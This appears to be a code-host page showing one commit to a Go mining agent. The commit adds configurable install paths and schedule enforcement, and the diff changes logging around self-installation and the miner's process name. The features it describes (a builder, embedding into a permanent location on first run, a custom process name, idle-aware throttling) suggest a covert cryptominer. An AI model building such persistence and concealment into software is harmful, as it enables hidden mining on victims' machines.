Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
@@ -27,7 +27,11 @@ func main() {
|
||||
log.Fatalf("[installer] failed: %v", err)
|
||||
}
|
||||
if installed {
|
||||
log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName)
|
||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
|
||||
} else {
|
||||
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -39,8 +43,8 @@ func main() {
|
||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
|
||||
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
@@ -54,13 +58,21 @@ func setupLogging(cfg config.RuntimeConfig) {
|
||||
return
|
||||
}
|
||||
|
||||
installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID)
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
redirectLog(filepath.Join(installDir, "miner.log"))
|
||||
}
|
||||
|
||||
func mustInstallPath(cfg config.RuntimeConfig) string {
|
||||
path, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func redirectLog(path string) {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
||||
return
|
||||
|
||||
Reference in New Issue
Block a user